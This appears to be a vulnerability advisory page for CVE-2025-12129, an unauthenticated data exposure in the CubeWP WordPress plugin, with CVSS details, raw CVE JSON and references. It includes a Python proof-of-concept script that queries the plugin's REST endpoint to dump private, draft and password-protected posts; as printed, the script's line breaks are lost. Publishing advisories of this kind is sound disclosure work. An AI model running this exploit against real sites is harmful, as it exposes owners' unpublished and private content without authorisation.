Security Vulnerability Report
中文
CVE-2025-12129 CVSS 5.3 MEDIUM

CVE-2025-12129

Published: 2026-01-17 08:15:51
Last Modified: 2026-04-15 00:35:42

Description

The CubeWP – All-in-One Dynamic Content Framework plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.1.27 via the /cubewp-posts/v1/query-new and /cubewp-posts/v1/query REST API endpoints due to insufficient restrictions on which posts can be included. This makes it possible for unauthenticated attackers to extract data from password protected, private, or draft posts that they should not have access to.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

CubeWP Framework <= 1.1.27 (所有版本直至并包括1.1.27)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-12129 PoC - Information Disclosure via REST API # Affected endpoint: /wp-json/cubewp-posts/v1/query-new target_url = input("Enter target URL (e.g., https://example.com): ") # Check if CubeWP plugin is installed print("[*] Checking if CubeWP REST API is available...") check_url = f"{target_url}/wp-json/cubewp-posts/v1/query-new" response = requests.get(check_url, timeout=10) if response.status_code == 200: print("[+] CubeWP REST API endpoint is accessible!") # Exploit: Query for protected posts payload = { "search": "", "post_type": "post", "posts_per_page": 10 } print("[*] Attempting to retrieve protected posts...") exploit_response = requests.post(check_url, json=payload, timeout=10) if exploit_response.status_code == 200: data = exploit_response.json() if data.get("posts"): print(f"[+] Found {len(data['posts'])} posts") for post in data["posts"]: print(f" - ID: {post.get('ID')}, Title: {post.get('post_title')}") print(f" Status: {post.get('post_status')}, Content: {post.get('post_content')[:100]}...") else: print("[-] No posts returned or access denied") else: print("[-] CubeWP REST API not found or not vulnerable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12129", "sourceIdentifier": "[email protected]", "published": "2026-01-17T08:15:50.850", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CubeWP – All-in-One Dynamic Content Framework plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.1.27 via the /cubewp-posts/v1/query-new and /cubewp-posts/v1/query REST API endpoints due to insufficient restrictions on which posts can be included. This makes it possible for unauthenticated attackers to extract data from password protected, private, or draft posts that they should not have access to."}, {"lang": "es", "value": "El plugin CubeWP – All-in-One Dynamic Content Framework para WordPress es vulnerable a la exposición de información en todas las versiones hasta la 1.1.27, inclusive, a través de los puntos finales de la API REST /cubewp-posts/v1/query-new y /cubewp-posts/v1/query debido a restricciones insuficientes sobre qué publicaciones pueden incluirse. Esto permite a atacantes no autenticados extraer datos de publicaciones protegidas con contraseña, privadas o en borrador a las que no deberían tener acceso."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3422640/cubewp-framework/trunk/cube/classes/class-cubewp-rest-api.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2006dc4c-ec1a-45ab-94a3-1f86d80e70ca?source=cve", "source": "[email protected]"}]}}